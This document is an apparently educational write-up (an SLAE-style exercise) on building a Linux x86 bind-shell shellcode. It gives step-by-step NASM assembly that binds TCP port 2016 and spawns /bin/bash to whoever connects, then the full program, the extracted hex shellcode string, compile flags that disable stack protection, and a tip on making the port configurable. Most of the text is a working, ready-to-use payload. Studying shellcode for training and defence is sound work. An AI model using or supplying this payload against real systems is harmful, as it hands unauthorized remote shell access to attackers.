1 - SHELL BIND TCP
1 - INTRODUCTION
The goal of this program is to spawn a shell as a result of an incoming connection (local or remote) after binding a socket to a TCP port, which should be of easy configuration.
The assembly program Shell_Bind_TCP.nasm follows 6 steps:
a) CREATE a TCP socket.
b) BIND the socket to a TCP port.
c) LISTEN to incoming connections.
d) ACCEPT incoming connections.
e) REDIRECT accepted socket to standard streams.
f) EXECUTE a shell (for instance, the /bin/bash).
All of these steps are performed with Linux syscalls, available for working with sockets on IA-32 (Intel Architecture 32 bits) machines. The foremost syscall is socketcall(), what can be considered as an entry point for the rest of the socket system calls.
socketcall()'s identifier is 102 (0x66):
root@lic:/usr/include/i386-linux-gnu/asm#
cat unistd_32.h
#define
__NR_socketcall 102
socketcall() accepts two parameters. The first is the integer number of the invoked call, the second is a pointer to the arguments. Searching info about socketcall():
NAME
socketcall - socket system calls
SYNOPSIS
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system
calls. call determines which socket function to invoke. args points
to a block containing the actual arguments, which are passed through
to the appropriate call.
The functions invoked by the first argument of socketcall() are known by their call identifier number:
root@lic:/usr/include/linux# cat net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
The proper use of the above functions will be examined in the context of the Shell_Bind_TCP.nasm program.
2 - WRITING THE PROGRAM STEP BY STEP
Let's examine the Shell_Bind_TCP.nasm program step by step:
a) CREATE a TCP socket
- Starting the assembly program:
global _start
section .text
_start:
- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102
- socket() is invoked and its identifier (SYS_SOCKET = 1) moved to ebx (previously zeroized):
xor ebx,ebx ; zeroize ebx
mov bl,0x1 ; 1 for SYS_SOCKET
- socket() syscall creates a new socket and allocates system resources to it, accepting three arguments (domain, type and protocol):
root@lic:/#
man 2 socket
NAME
socket - create an endpoint for communication
SYNOPSIS
int socket(int domain, int type, int protocol);
DESCRIPTION
socket() creates an endpoint for communication and returns a
descriptor.
The
domain argument specifies a communication domain; this
selects the protocol family which will be used for communication.
These families are defined in <sys/socket.h>. The currently
understood formats include:
Name
Purpose AF_INET
IPv4 Internet protocols
The
socket has the indicated type, which specifies the
communication semantics. Currently defined types are:
SOCK_STREAM
Provides sequenced, reliable, two-way, connection-based byte
streams.
The
protocol specifies a particular protocol to be used with
the socket.
- In our program, arguments (domain, type, protocol) for socket() would be:
domain : AF_INET for IPv4
type: SOCK_STREAM for TCP protocol
protocol: PPROTP_IP for IP protocol
- Specific values for the arguments are taken from:
root@lic:/usr/include/i386-linux-gnu/bits#
cat socket.h
/*
Types of sockets. */
SOCK_STREAM
= 1, /* Sequenced, reliable, connection-based byte streams. */
/*
Protocol families. */
#define PF_INET 2 /*
IP protocol family. */
/*
Address families. */
#define AF_INET PF_INET
root@lic:/usr/include/linux#
cat in.h
/*
Standard well-defined IP protocols. */
IPPROTO_IP
= 0, /* Dummy protocol for TCP */
- To sum it up: AF_INET = 2, SOCK_STREAM = 1, IPPROTO_IP = 0
- Arguments are pushed onto the stack in reverse order to the formal definition:
; int socket(int domain, int type, int protocol)
xor ecx,ecx ; zeroize ecx
push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push 0x2 ; 2 for domain (AF_INET = IPv4)
- The stack's content, pointing to the arguments, is moved to ecx:
mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
- Finally, socketcall() is called. As a result, a socket is created and a file descriptor is returned to eax.
int 0x80
- For later reutilization, the socket file descriptor is saved into the register edi (previously zeroized). Also, due to the fact that all syscalls return values to the eax, it is necessary to keep safe the socket file descriptor. Otherwise, everytime a syscall would be called (int 0x80) the file descriptor would be overwritten:
xor edi, edi ; zeroize edi
mov edi, eax ; file descriptor of the socket is saved into edi
b) BIND the socket to a TCP port
- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102
- bind () is invoked and its identifier (SYS_BIND = 2) moved to ebx (previously zeroized):
xor ebx,ebx ; zeroize ebx
mov bl,0x2 ; 2 for SYS_BIND
- bind() associates a socket with a socket address structure, i.e. a specified ip address and a local port number, accepting 3 arguments:
root@lic:/#
man bind
NAME
bind - bind a name to a socket
SYNOPSIS
int bind(int sockfd, const struct sockaddr *addr, socklen_t
addrlen);
DESCRIPTION
When a socket is created with socket(2), it exists in a name
space (address family) but has no address assigned to it. bind()
assigns the address specified to by addr to the socket referred to
by the file descriptor sockfd. addrlen specifies the size, in bytes,
of the address structure pointed to by addr. Traditionally, this
operation is called “assigning a name to a socket”.
- Arguments are pushed onto the stack in reverse order to the formal definition.
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
- Before pushing the arguments, the second one (const struct sockaddr *addr) needs to be crafted. This structure is composed of 3 arguments:
root@lic:/#
man 7 ip
struct
sockaddr_in {
sa_family_t
sin_family; /* address family: AF_INET */
in_port_t
sin_port; /* port in network byte order */
struct
in_addr sin_addr; /* internet address */
};
- In our program the arguments would be:
sin_family = AF_INET = 2
sin_port = 2016 (0x07e0), according to the Network Byte Order would be big endian (0xe007)
sin_addr = INADDR_ANY = 0, meaning that the bind is valid for all local interfaces
- As usual, arguments are pushed in reverse order:
xor ecx,ecx ; zeroize ecx
push ecx ; sin_addr = INADDR_ANY = 0
push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
push word 0x2 ; sin_family = AF_INET=2
- A pointer to the whole structure is moved to ecx, for later use:
mov ecx,esp ; pointer to sockaddrr is moved to ecx
- Again with bind() arguments, the first argument to be pushed is the lenght (socklen_t addrlen). According to POSIX definition (uint8_t sin_len /*length of structure(16)*/), it is 16 Bytes.
push 0x10 ; 16 Bytes (0x10) of lenght
- The pointer of the recently created sockaddr_in structure (stored at ecx) is pushed onto the stack:
push ecx ; pointer to sockaddr
- The socket file descriptor (previously stored at edi) is pushed onto the stack:
push edi ; file descriptor of the socket to bind
- The stack's content, pointing to the arguments, is moved to ecx. Finally, the syscall is executed:
mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80
c) LISTEN to incoming connections
- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102
- listen () is invoked and its identifier (SYS_LISTEN = 4) moved to ebx (previously zeroized):
xor ebx,ebx ; zeroize ebx
mov bl,0x4 ; 4 for SYS_LISTEN
- listen() causes a bound TCP socket to enter listening state:
root@lic:/#
man listen
NAME
listen - listen for connections on a socket
SYNOPSIS
int listen(int sockfd, int backlog);
DESCRIPTION
listen() marks the socket referred to by sockfd as a passive
socket, that is, as a socket that will be used to accept
incoming connection requests using accept(2). The sockfd argument is
a file descriptor that refers to a socket of type SOCK_STREAM or
SOCK_SEQPACKET. The backlog argument defines the maximum length to
which the queue of pending connections for sockfd may grow.
- listen () accepts 2 arguments. The first one is the socket file descriptor, previously stored at edi. The second one is the "backlog", what for instance may take a value of 5.
; int listen(int sockfd, int backlog)
- Arguments are pushed onto the stack into reverse order:
push 0x5 ; traditional value for backlog http://tangentsoft.net/wskfaq/advanced.html#backlog
push edi ; file descriptor of the socket
- The stack's content, pointing to the arguments, is moved to ecx. Finally, the syscall is executed:
mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80
d) ACCEPT incoming connections
- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102
- accept () is invoked and its identifier (SYS_LISTEN = 5) moved to ebx (previously zeroized):
xor ebx,ebx ; zeroize ebx
mov bl,0x5 ; 5 for SYS_ACCEPT
- accept() accepts a received incoming attempt to create a new TCP connection from the remote client, and creates a new socket associated with the socket address pair of this connection.
root@lic:/#
man accept
NAME
accept - accept a connection on a socket
SYNOPSIS
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
DESCRIPTION
The argument sockfd is a socket that has been created with
socket(2), bound to a local address with bind(2), and is listening
for connections after a listen(2). The argument addr is a pointer to
a sockaddr structure. This structure is filled in with the address
of the peer socket, as known to the communications layer. When addr
is NULL, nothing is filled in; in this case, addrlen is not used, and
should also be NULL. The addrlen argument is a value result argument:
the caller must initialize it to contain the size (in bytes) of the
structure pointed to by addr; on return it will contain the actual
size of the peer address.
- accept() takes 3 arguments. The first one is the socket file descriptor. The second and the third arguments are NULL, because the connection is new.
; int accept(int sockfd, struct sockaddr *cliaddr, socklen_t *addrlen)
- Pushing the arguments on reverse order:
xor esi,esi ; zeroize esi
push esi ; addrlen = NULL
push esi ; *addr = NULL
push edi ; file descriptor of the socket
- The stack's content, pointing to the arguments, is moved to ecx. Finally, the syscall is executed:
mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80
- It is important to notice that "int 0x80" generates a new accepted socket file descriptor from the client side, that is returned to eax. So, the accepted socket file descriptor should move to edi to keep it safe:
mov edi,eax ; accepted socket file descriptor moved to edi
e) REDIRECT to standard streams
- Now, the file descriptor of the accepted socket must be directed to the standard streams . These are the I/O communication channels between the program and the keyboard, screen and error messages.
standard input - stdin(0)
standard output - stdout(1)
standard error - stderr(2)
- The syscall to be used is dup2(), which function is to create a copy of a file descriptor. It takes two arguments, the old (socket file descriptor) and the new file descriptor, and returning the last one in case of success.
root@lic:/#
man dup2
NAME
dup2 - duplicate a file descriptor
SYNOPSIS
int dup2(int oldfd, int newfd);
DESCRIPTION
These system calls create a copy of the file descriptor oldfd.
dup2()
makes newfd be the copy of oldfd, closing newfd first if necessary,
but note the following:
*
If oldfd is not a valid file descriptor, then the call fails, and
newfd is not closed.
*
If oldfd is a valid file descriptor, and newfd has the same value as
oldfd, then dup2() does nothing, and returns newfd.
- The identifier for dup2() is 63 = 0x3f
root@lic:/usr/include/i386-linux-gnu/asm#
cat unistd_32.h
#define
__NR_dup2 63
- Because the redirection must be executed 3 times (1 for each stdin/stdout/stderror), a counter of 2 (2->1->0) is introduced into ecx:
xor ecx,ecx ; zeroize ecx
mov cl,0x2 ; initializing ecx as a counter with 2
- A loop is created, which executes by 3 times the dup2() syscall. The counter is decreased by 1 each time the loop is run. Inside each loop, the syscall dup2() is executed, accepting as argument the old file descriptor (previously stored at edi, and moved to ebx), and directing its value to the new file descriptors: stdin(0), stdout(1), stderr(2):
; int dup2(int oldfd, int newfd)
redirect:
xor eax,eax ; zeroize eax
mov al,0x3f ; 0x3f = 63 identifier for dup2()
mov ebx,edi ; accepted socket file descriptor is the old file descriptor
int 0x80 ; syscall is executed
dec ecx ; decreasing by 1 the counter
jns redirect ; the loop ends up when the counter reaches -1
- The condition "jns" ensures that the loop ends up when SF (signed flag) is set, meaning that the counter has reached a value of -1 (Two's complement negative numbers start with 1)
f) EXECUTE /bin/bash
- Finally, the program executes a /bin/bash shell. To perform this task the exceve() syscall is the best option:
root@lic:/#
man execve
NAME
execve - execute program
SYNOPSIS
int execve(const char *filename, char *const argv[], char *const
envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename
must be either a binary executable, or a script starting with a line
of the form: #! interpreter [optional-arg]. argv is an array of
argument strings passed to the new program. By convention, the first
of these strings should contain the filename associated with the
file being executed. envp is an array of strings, conventionally of
the form key=value, which are passed as environment to the ew
program. Both argv and envp must be terminated by a NULL pointer.
- So, execve() executes the program pointed by filaneme, taking 3 arguments:
; int execve(const char *filename, char *const argv[], char *const envp[])
i) filename (stored at ebx) = binary executable program ended with NULL: "bin/bash",0x0
ii) argv[] (stored at ecx) = address of "bin/bash"
iii) envp[] (stored at edx) = NULL
- The identifier for execve() is 11 = 0xb
root@lic:/usr/include/i386-linux-gnu/asm#
cat unistd_32.h
#define
__NR_execve 11
- Starting with the filename "/bin/bash",0x0, an effective approach would be to push directly onto the stack the corresponding ASCII characters. The total number of characters must be a multiple of 4 Bytes, because that is the size of the 32 bits word. It happens that adding "/" chars does not alter the original command. So, "/bin/bash" has exactly the same effect as "////bin/bash", composed of 12 chars, multiple of 4.
- A brief Python script could help in that task:
root@lic:/#
python
>>>
code = '////bin/bash'
>>>
code[::-1]
'hsab/nib////'
>>>
code[::-1].encode('hex')
'687361622f6e69622f2f2f2f'
- Pushing ASCII characters for "////bin/bash",0x0 (in reverse order) directly onto the stack:
xor eax,eax ; zeroize eax
push eax ; 0x0 is pushed onto the stack
push 0x68736162 ; hsab
push 0x2f6e6962 ; /nib
push 0x2f2f2f2f ; ////
- filename is moved to ebx:
mov ebx,esp ; filename is moved to ebx
- envp[] = NULL is moved to edx:
push eax ; eax contains 0x0
mov edx,esp ; 0x0 is moved to edx
- argv[] = address of "////bin/bash/" is moved to ecx:
push ebx ; address of filename pushed onto the stack
mov ecx,esp ; address of filename moved to ecx
- To end the program, the execve() syscall is called:
mov al,0xb ; 11 = 0xb identifier for execve()
int 0x80
- The whole program Shell_Bind_TCP.nasm:
3 - ASSEMBLING, LINKING, EXTRACTING
global
_start
section
.text
_start:
;
int socket(int domain, int type, int protocol)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x1 ; 1 for SYS_SOCKET
xor
ecx,ecx ; zeroize ecx
push
ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push
0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push
0x2 ; 2 for domain (AF_INET = IPv4)
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
xor
edi, edi ; zeroize edi
mov
edi, eax ; file descriptor of the socket is saved into edi
;
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x2 ; 2 for SYS_BIND
xor
ecx,ecx ; zeroize ecx
push
ecx ; sin_addr = INADDR_ANY = 0
push
word 0xe007 ; port 2016 (0x07e0), according to Network Byte
Order 0xe007
push
word 0x2 ; sin_family = AF_INET=2
mov
ecx,esp ; pointer to sockaddrr is moved to ecx
push
0x10 ; 16 Bytes (0x10) of lenght
push
ecx ; pointer to sockaddr
push
edi ; file descriptor of the socket to bind
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
;
int listen(int sockfd, int backlog)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x4 ; 4 for SYS_LISTEN
push
0x5 ; traditional value for backlog
http://tangentsoft.net/wskfaq/advanced.html#backlog
push
edi ; file descriptor of the socket
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
;
int accept(int sockfd, struct sockaddr *cliaddr, socklen_t *addrlen)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x5 ; 5 for SYS_ACCEPT
xor
esi,esi ; zeroize esi
push
esi ; addrlen = NULL
push
esi ; *addr = NULL
push
edi ; file descriptor of the socket
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
mov
edi,eax ; accepted socket file descriptor moved to edi
;
int dup2(int oldfd, int newfd)
xor
ecx,ecx ; zeroize ecx
mov
cl,0x2 ; initializing ecx as a counter with 2
redirect:
xor
eax,eax ; zeroize eax
mov
al,0x3f ; 0x3f = 63 identifier for dup2()
mov
ebx,edi ; accepted socket file descriptor is the old file descriptor
int
0x80 ; syscall is executed
dec
ecx ; decreasing by 1 the counter
jns
redirect ; the loop ends up when the counter reaches -1
;
int execve(const char *filename, char *const argv[], char *const
envp[])
xor
eax,eax ; zeroize eax
push
eax ; 0x0 is pushed onto the stack
push
0x68736162 ; hsab
push
0x2f6e6962 ; /nib
push
0x2f2f2f2f ; ////
mov
ebx,esp ; filename is moved to ebx
push
eax ; eax contains 0x0
mov
edx,esp ; 0x0 is moved to edx
push
ebx ; address of filename pushed onto the stack
mov
ecx,esp ; address of filename moved to ecx
mov
al,0xb ; 11 = 0xb identifier for execve()
int
0x80 ; syscall executed
3 - ASSEMBLING, LINKING, EXTRACTING
- Assembling Shell_Bind_TCP.nasm:
root@lic:/home/daniel/Desktop/SLAE_1#
nasm -f elf32 -o Shell_Bind_TCP.o Shell_Bind_TCP.nasm
- Linking Shell_Bind_TCP.nasm:
root@lic:/home/daniel/Desktop/SLAE_1#
ld -o Shell_Bind_TCP Shell_Bind_TCP.o
- Extracting the shellcode from Shell_Bind_TCP.nasm:
root@lic:/home/daniel/Desktop/SLAE_1#
objdump -d ./Shell_Bind_TCP|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x07\xe0\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x05\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xf6\x56\x56\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\x89\xfb\xcd\x80\x49\x79\xf5\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
4 - TESTING
Two computers are used for testing this exercise. On the one hand, the program is executed with an Ubuntu machine. On the other hand, a remote connection will be launched from a Kali machine.
- Ubuntu 12.04 (32 bits) with IP 192.168.1.10:
- Creating ShellcodeTest.c:
root@lic:/home/daniel/Desktop/SLAE_1#
ifconfig
eth0
Link encap:Ethernet HWaddr 08:00:27:8d:a2:b4
inet addr:192.168.1.10
Bcast:192.168.1.255 Mask:255.255.255.0
root@lic:/home/daniel/Desktop/SLAE_1#
sudo gedit ShellcodeTest.c
- Compiling ShellcodeTest.c:
root@lic:/home/daniel/Desktop/SLAE_1#
gcc -fno-stack-protector -z execstack ShellcodeTest.c -o
ShellcodeTest
- Executing ShellcodeTest.c:
5 - PORT CONFIGURATION
- One of the possible ways to make the TCP port easily configurable would be to convert the port number into a predefined macro.
- For instance, let's take the 9000 port (0x2328 = 9000), adding to the ShellcodeTest.c the predefined macro PORT:
#define
PORT "\x23\x28"
- After compiling, executing again ShellcodeTest.c:
- Testing from the remote machine Kali (now on port 9000):